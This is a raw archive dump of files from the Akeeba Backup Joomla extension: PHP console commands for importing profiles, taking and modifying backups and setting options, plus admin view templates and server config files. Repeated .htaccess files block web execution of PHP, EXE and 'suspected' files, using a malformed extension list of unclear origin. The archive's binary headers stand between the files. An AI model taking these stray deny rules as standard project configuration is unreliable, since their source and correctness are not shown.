			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_ERR_GENERIC', $error));

			return 2;
		}

		$id     = $table->getId();
		$format = (string) $this->cliInput->getOption('format') ?? 'text';

		if ($format == 'json')
		{
			echo json_encode($id);

			return 0;
		}

		$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_LBL_SUCCESS', $id));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('fileOrJSON', InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_OPT_FILEORJSON'));
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_OPT_FORMAT'), 'text');

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_HELP'));
	}

	/**
	 * Get the JSON input
	 *
	 * @param   string|null  $filename  The filename to read from, raw JSON data or an empty string
	 *
	 * @return  string  The JSON data
	 *
	 * @since   7.5.0
	 */
	private function getJSON(?string $filename): string
	{
		// No filename or JSON string passed to script; use STDIN
		if (empty($filename))
		{
			$json = '';

			while (!feof(STDIN))
			{
				$json .= fgets(STDIN) . "\n";
			}

			return rtrim($json);
		}

		// An existing file path was passed. Return the contents of the file.
		if (@file_exists($filename))
		{
			$ret = @file_get_contents($filename);

			if ($ret === false)
			{
				return '';
			}

            return $ret;
		}

		// Otherwise assume raw JSON was passed back to us.
		return $filename;
	}

}
PK     \Sʉ        src/CliCommands/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \RG       src/CliCommands/BackupModify.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Engine\Platform;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:backup:modify
 *
 * Modifies a backup record known to Akeeba Backup
 *
 * @since   7.5.0
 */
class BackupModify extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:backup:modify';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$id          = (int) $this->cliInput->getArgument('id') ?? 0;
		$description = $this->cliInput->getOption('description');
		$comment     = $this->cliInput->getOption('comment');

		$this->ioStyle->title(Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_HEAD', $id));

		if ($id <= 0)
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID'));

			return 1;
		}

		if (is_null($description) && is_null($comment))
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_ERR_DESC_AND_COMMENT_REQUIRED'));

			return 2;
		}

		$record = Platform::getInstance()->get_statistics($id);

		if (empty($record))
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID'));

			return 1;
		}

		if (!is_null($description))
		{
			$record['description'] = (string) $description;
		}

		if (!is_null($comment))
		{
			$record['comment'] = (string) $comment;
		}

		$result = Platform::getInstance()->set_or_update_statistics($id, $record);

		if ($result === false)
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_ERR_CANNOT_MODIFY', $id));

			return 3;
		}

		$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_LBL_MODIFIED', $id));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('id', InputArgument::REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_ID'));
		$this->addOption('description', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_DESCRIPTION'));
		$this->addOption('comment', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_COMMENT'));
		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_HELP'));
	}
}
PK     \-n      src/CliCommands/BackupTake.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\MemoryInfo;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\TimeInfo;
use Akeeba\Component\AkeebaBackup\Administrator\Model\BackupModel;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Joomla\Database\DatabaseAwareInterface;
use Joomla\Database\DatabaseAwareTrait;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:backup:take
 *
 * Takes a new backup using Akeeba Backup
 *
 * @since   7.5.0
 */
class BackupTake extends AbstractCommand implements DatabaseAwareInterface
{
	use ConfigureIO;
	use ArgumentUtilities;
	use MemoryInfo;
	use TimeInfo;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;
	use DatabaseAwareTrait;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:backup:take';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$this->ioStyle->title(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_HEAD'));

		$mark        = microtime(true);
		$profile     = (int) ($this->cliInput->getOption('profile') ?? 1);
		$description = $this->cliInput->getOption('description') ?? '';
		$comment     = $this->cliInput->getOption('comment') ?? '';
		$overrides   = $this->commaListToMap($this->cliInput->getOption('overrides') ?? '');

		/** @var BackupModel $model */
		$model = $this->getMVCFactory()->createModel('Backup', 'Administrator');

		if (empty($description))
		{
			$description = $model->getDefaultDescription() . ' (Joomla CLI)';
		}

		// Make sure $profile is a positive integer >= 1
		$profile = max(1, $profile);

		// Set the active profile
		define('AKEEBA_PROFILE', $profile);

		/**
		 * DO NOT REMOVE!
		 *
		 * The Model will only try to load the configuration after nuking the factory. This causes Profile 1 to be
		 * loaded first. Then it figures out it needs to load a different profile and it does – but the protected keys
		 * are NOT replaced, meaning that certain configuration parameters are not replaced. Most notably, the chain.
		 * This causes backups to behave weirdly. So, DON'T REMOVE THIS UNLESS WE REFACTOR THE MODEL.
		 */
		Platform::getInstance()->load_configuration($profile);

		// Dummy array so that the loop iterates once
		$array = [
			'HasRun'       => 0,
			'Error'        => '',
			'cli_firstrun' => 1,
		];

		$model->setState('tag', AKEEBA_BACKUP_ORIGIN);
		$model->setState('description', $description);
		$model->setState('comment', $comment);
		// Otherwise the Engine doesn't set a backup ID
		$model->setState('backupid', null);

		$hasWarnings = false;

		// Set up a progress bar
		while (($array['HasRun'] != 1) && (empty($array['Error'])))
		{
			if (isset($array['cli_firstrun']) && $array['cli_firstrun'])
			{
				$this->ioStyle->section(Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_SECTION_START', $profile));

				$array = $model->startBackup(array_merge([
					'akeeba.tuning.min_exec_time'           => 0,
					'akeeba.tuning.max_exec_time'           => 15,
					'akeeba.tuning.run_time_bias'           => 100,
					'akeeba.advanced.autoresume'            => 0,
					'akeeba.tuning.nobreak.beforelargefile' => 1,
					'akeeba.tuning.nobreak.afterlargefile'  => 1,
					'akeeba.tuning.nobreak.proactive'       => 1,
					'akeeba.tuning.nobreak.finalization'    => 1,
					'akeeba.tuning.settimelimit'            => 0,
					'akeeba.tuning.setmemlimit'             => 1,
					'akeeba.tuning.nobreak.domains'         => 0,
				], $overrides));
			}
			else
			{
				$this->ioStyle->section('Continuing the backup');

				$array = $model->stepBackup();
			}

			// Print the new progress bar and info
			$messages = [
				Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_LASTTICK', date('Y-m-d H:i:s \G\M\TO (T)')),
				Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_DOMAIN', $array['Domain'] ?? ''),
				Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_STEP', $array['Step'] ?? ''),
				Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_SUBSTEP', $array['Substep'] ?? ''),
				Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_PROGRESS', $array['Progress'] ?? 0.0),
				Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_MEMORY', $this->memUsage()),
			];

			// Output any warnings
			if (!empty($array['Warnings']))
			{
				$hasWarnings = true;
				$this->ioStyle->warning($array['Warnings']);
			}

			$this->ioStyle->writeln($messages);

			// Recycle the database connection to minimise problems with database timeouts
			$db = Factory::getDatabase();
			$db->close();
			$db->open();

			// Reset the backup timer
			Factory::getTimer()->resetTime();
		}

		$peakMemory = $this->peakMemUsage();
		$elapsed    = $this->timeAgo($mark, time(), '', false);

		$this->ioStyle->comment(Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_PEAKMEM', $peakMemory));
		$this->ioStyle->comment(Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_TOTALTILE', $elapsed));

		if (!empty($array['Error']))
		{
			$this->ioStyle->error($array['Error']);

			return 1;
		}

		if ($hasWarnings)
		{
			$this->ioStyle->success(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_COMPLETE_WITH_WARNINGS'));

			return 2;
		}

		$this->ioStyle->success(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_COMPLETE'));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_PROFILE'));
		$this->addOption('description', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_DESCRIPTION'));
		$this->addOption('comment', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_COMMENT'));
		$this->addOption('overrides', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_OVERRIDES'));
		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_TAKE_HELP'));
	}
}
PK     \Z{  {     src/CliCommands/SysconfigSet.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ComponentOptions;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Helper\SecretWord;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:sysconfig:set
 *
 * Sets the value of an Akeeba Backup component-wide option
 *
 * @since   7.5.0
 */
class SysconfigSet extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use ComponentOptions;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @since  7.5.0
	 * @var    string
	 */
	protected static $defaultName = 'akeeba:sysconfig:set';

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('key', null, InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_KEY'));
		$this->addArgument('value', null, InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_VALUE'));
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_FORMAT'), 'text');

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_HELP'));
	}

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$key     = (string) $this->cliInput->getArgument('key') ?? '';
		$value   = (string) $this->cliInput->getArgument('value') ?? '';
		$options = $this->getComponentOptions();

		if (!array_key_exists($key, $options))
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_ERR_CANNOT_FIND', $key));

			return 1;
		}

		if ((string) $options[$key] === $value)
		{
			return 0;
		}

		$cParams = ComponentHelper::getParams('com_akeebabackup');
		$cParams->set($key, $value);

		$this->getComponentObject($this->getApplication())
		     ->getComponentParametersService()
		     ->save($cParams);

		// Make sure the front-end backup Secret Word is stored encrypted
		SecretWord::enforceEncryption($cParams, 'frontend_secret_word');

		$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_LBL_SETTING', $key, $value));

		return 0;
	}
}
PK     \|N      src/web.confignu [        <?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK     \       tmpl/databasefilters/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Databasefilters\HtmlView $this */

echo $this->loadAnyTemplate('commontemplates/errormodal');
echo $this->loadAnyTemplate('commontemplates/profilename');

?>
<div class="border row row-cols-lg-auto g-3 align-items-center my-3 mx-1 pb-3">

	<div class="col-12">
		<label>
			<?= Text::_('COM_AKEEBABACKUP_DBFILTER_LABEL_ROOTDIR') ?>
		</label>
	</div>
	<div class="col-12">
		<span><?= $this->root_select ?></span>
	</div>


	<div class="col-12">
		<button type="button"
				class="btn btn-success" id="comAkeebaDatabasefiltersExcludeNonCMS">
			<span class="fa fa-flag"></span>
			<?= Text::_('COM_AKEEBABACKUP_DBFILTER_LABEL_EXCLUDENONCORE') ?>
		</button>
	</div>

	<div class="col-12">
		<button type="button"
				class="btn btn-danger" id="comAkeebaDatabasefiltersNuke">
			<span class="fa fa-radiation"></span>
			<?= Text::_('COM_AKEEBABACKUP_DBFILTER_LABEL_NUKEFILTERS') ?>
		</button>
	</div>
</div>

<div id="ak_main_container" class="row row-cols-1">
	<div class="col">
		<div class="card">
			<h3 class="card-header">
				<?= Text::_('COM_AKEEBABACKUP_DBFILTER_LABEL_TABLES') ?>
			</h3>
			<div id="tables" class="card-body overflow-scroll" style="height: 45vh;"></div>
		</div>
	</div>
</div>
PK     \(2Y=  =     tmpl/databasefilters/tabular.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Databasefilters\HtmlView $this */

echo $this->loadAnyTemplate('commontemplates/errormodal');
echo $this->loadAnyTemplate('commontemplates/profilename');

?>
<div class="border row row-cols-lg-auto g-3 align-items-center my-3 mx-1 pb-3">
	<div class="col-12">
		<label>
			<?= Text::_('COM_AKEEBABACKUP_DBFILTER_LABEL_ROOTDIR') ?>
		</label>
	</div>
	<div class="col-12">
		<span><?= $this->root_select ?></span>
	</div>

	<div class="col-12">
		<label>
			<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_ADDNEWFILTER') ?>
		</label>
	</div>

	<div class="col-12">
		<button type="button"
				class="btn btn-dark" id="comAkeebaDatabasefiltersAddNewTables">
			<?= Text::_('COM_AKEEBABACKUP_DBFILTER_TYPE_TABLES') ?>
		</button>
	</div>

	<div class="col-12">
		<button type="button"
				class="btn btn-dark" id="comAkeebaDatabasefiltersAddNewTableData">
			<?= Text::_('COM_AKEEBABACKUP_DBFILTER_TYPE_TABLEDATA') ?>
		</button>
	</div>
</div>

<div id="ak_list_container">
	<table id="ak_list_table" class="table table-striped">
		<thead>
		<tr>
			<th class="w-25">
				<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_TYPE') ?>
			</th>
			<th>
				<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILTERITEM') ?>
			</th>
		</tr>
		</thead>
		<tbody id="ak_list_contents">
		</tbody>
	</table>
</div>
PK     \Sʉ        tmpl/databasefilters/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \.H
  H
    tmpl/discover/discover.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Discover\HtmlView $this */

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$hasFiles = !empty($this->files);
$task     = $hasFiles ? 'import' : 'default';
?>
<?php if (!$hasFiles): ?>
	<div class="alert alert-warning">
		<?= Text::_('COM_AKEEBABACKUP_DISCOVER_ERROR_NOFILES') ?>
	</div>
	<p>
		<a href="<?= Route::_('index.php?option=com_akeebabackup&view=Discover') ?>"
		   class="btn btn-warning">
			<span class="fa fa-arrow-left"></span>
			<?= Text::_('COM_AKEEBABACKUP_DISCOVER_LABEL_GOBACK') ?>
		</a>
	</p>
<?php return ?>
<?php endif; ?>

<form name="adminForm" id="adminForm"
	  action="<?= Route::_('index.php?option=com_akeebabackup&task=Discover.' . $task) ?>"
	  method="post">
	<div class="card card-body mb-3">
		<div class="row">
			<label for="directory2" class="col-sm-3 col-form-label">
				<?= Text::_('COM_AKEEBABACKUP_DISCOVER_LABEL_DIRECTORY') ?>
			</label>
			<div class="col-sm-9">
				<input type="text" name="directory2" id="directory2"
					   value="<?= $this->escape($this->directory) ?>"
					   disabled="disabled" class="form-control" />
			</div>
		</div>
	</div>

	<div class="row mb-3">
		<label for="files" class="col-sm-3 col-form-label">
			<?= Text::_('COM_AKEEBABACKUP_DISCOVER_LABEL_FILES') ?>
		</label>
		<div class="col-sm-9">
			<select name="files[]" id="files" multiple="multiple" class="form-select">
				<?php foreach ($this->files as $file): ?>
					<option value="<?= $this->escape(basename($file)) ?>">
						<?= $this->escape(basename($file)) ?>
					</option>
				<?php endforeach ?>
			</select>
			<p class="form-text">
				<?= Text::_('COM_AKEEBABACKUP_DISCOVER_LABEL_SELECTFILES') ?>
			</p>
		</div>
	</div>

	<div class="row mb-3">
		<div class="col-sm-9 col-sm-offset-3">
			<button class="btn btn-primary" type="submit">
				<span class="fa fa-file-import"></span>
				<?= Text::_('COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORT') ?>
			</button>
			<a class="btn btn-outline-warning"
			   href="<?= Route::_('index.php?option=com_akeebabackup&view=Discover') ?>">
				<span class="fa fa-arrow-left"></span>
				<?= Text::_('COM_AKEEBABACKUP_DISCOVER_LABEL_GOBACK') ?>

			</a>
		</div>
	</div>
	<input type="hidden" name="directory" value="<?= $this->escape($this->directory) ?>" />
	<?= HTMLHelper::_('form.token') ?>
</form>
PK     \mh      tmpl/discover/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Discover\HtmlView $this */

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$this->getDocument()
	->addScriptOptions('akeebabackup.Configuration.URLs.browser', Route::_(
		'index.php?option=com_akeebabackup&view=Browser&processfolder=1&tmpl=component&folder=',
		false, Route::TLS_IGNORE, true
	));

echo $this->loadAnyTemplate('commontemplates/folderbrowser');
?>

<div class="alert alert-info">
    <p>
		<?= Text::sprintf('COM_AKEEBABACKUP_DISCOVER_LABEL_S3IMPORT', 'index.php?option=com_akeebabackup&view=S3import') ?>
    </p>
    <p>
        <a class="btn btn-primary btn-sm" href="index.php?option=com_akeebabackup&view=S3import">
            <span class="fa fa-cloud-download-alt"></span>
            <?= Text::_('COM_AKEEBABACKUP_S3IMPORT') ?>
        </a>
    </p>
</div>

<form name="adminForm" id="adminForm"
	  action="<?= Route::_('index.php?option=com_akeebabackup&task=Discover.discover') ?>"
	  method="post">

    <div class="row mb-3">
        <label for="directory" class="col-sm-3 col-form-label">
            <?= Text::_('COM_AKEEBABACKUP_DISCOVER_LABEL_DIRECTORY') ?>
        </label>
		<div class="col-sm-9">
			<div class="input-group">
				<input type="text" name="directory" id="directory" class="form-control"
					   value="<?= $this->escape($this->directory) ?>" />
				<button type="button"
						class="btn btn-dark" id="browsebutton">
					<span class="fa fa-folder-open"></span>
					<?= Text::_('COM_AKEEBABACKUP_CONFIG_UI_BROWSE') ?>
				</button>
			</div>
			<p class="form-text">
				<?= Text::_('COM_AKEEBABACKUP_DISCOVER_LABEL_SELECTDIR') ?>
			</p>
		</div>
    </div>

    <div class="row mb-3">
        <div class="col-sm-9 col-sm-offset-3">
            <button type="submit"
					class="btn btn-primary">
				<span class="fa fa-search"></span>
                <?= Text::_('COM_AKEEBABACKUP_DISCOVER_LABEL_SCAN') ?>
            </button>
        </div>
    </div>

	<?= HTMLHelper::_('form.token') ?>
</form>
PK     \Sʉ        tmpl/discover/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \      tmpl/log/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri as JUri;

/** @var  \Akeeba\Component\AkeebaBackup\Administrator\View\Log\HtmlView  $this */
?>

<?php if(isset($this->logs) && count($this->logs)): ?>
<form name="adminForm" id="adminForm" method="post"
	  action="<?= Route::_('index.php?option=com_akeebabackup&view=Log') ?>"
	class="card card-body d-flex flex-column gap-2">
    <div class="row row-cols-lg-auto gap-1 align-items-center">
		<?php if(empty($this->tag)): ?>
		<div class="col">
			<label for="tag"><?= Text::_('COM_AKEEBABACKUP_LOG_CHOOSE_FILE_TITLE')?></label>
		</div>
		<?php endif ?>
		<div class="col flex-grow-1">
			<?php if(!empty($this->tag)): ?>
				<label for="tag" class="visually-hidden"><?= Text::_('COM_AKEEBABACKUP_LOG_CHOOSE_FILE_TITLE')?></label>
			<?php endif ?>
		    <?= HTMLHelper::_('select.genericlist', $this->logs, 'tag', [
			    'list.select' => $this->tag,
			    'list.attr'   => [
				    'class'    => 'advancedSelect form-select w-100',
				    'onchange' => 'document.forms.adminForm.submit();',
			    ], 'id'       => 'comAkeebaLogTagSelector',
		    ]) ?>
		</div>
	    <?php if(!empty($this->tag)): ?>
			<div class="col flex-shrink-1">
				<a class="btn btn-primary" href="<?= $this->escape(JUri::base()) ?>index.php?option=com_akeebabackup&view=Log&task=download&tag=<?= $this->escape($this->tag) ?>">
					<span class="fa fa-download"></span>
				    <?= Text::_('COM_AKEEBABACKUP_LOG_LABEL_DOWNLOAD') ?>
				</a>
			</div>

			<?php if ($this->hasAlice): ?>
			<div class="col flex-shrink-1">
				<a class="btn btn-outline-success" href="<?= $this->escape(JUri::base()) ?>index.php?option=com_akeebabackup&view=Alice&log=<?= $this->escape($this->tag) ?>&task=start&<?= \Joomla\CMS\Factory::getApplication()->getFormToken() ?>=1">
					<span class="fa fa-diagnoses"></span>
					<?= Text::_('COM_AKEEBABACKUP_ALICE_ANALYZE') ?>
				</a>
			</div>
			<?php endif ?>
	    <?php endif ?>
	</div>

	<?= HTMLHelper::_('form.token') ?>
</form>
<?php endif ?>

<?php if(!empty($this->tag)): ?>
    <?php if ($this->logTooBig): ?>
        <div class="alert alert-warning">
            <p>
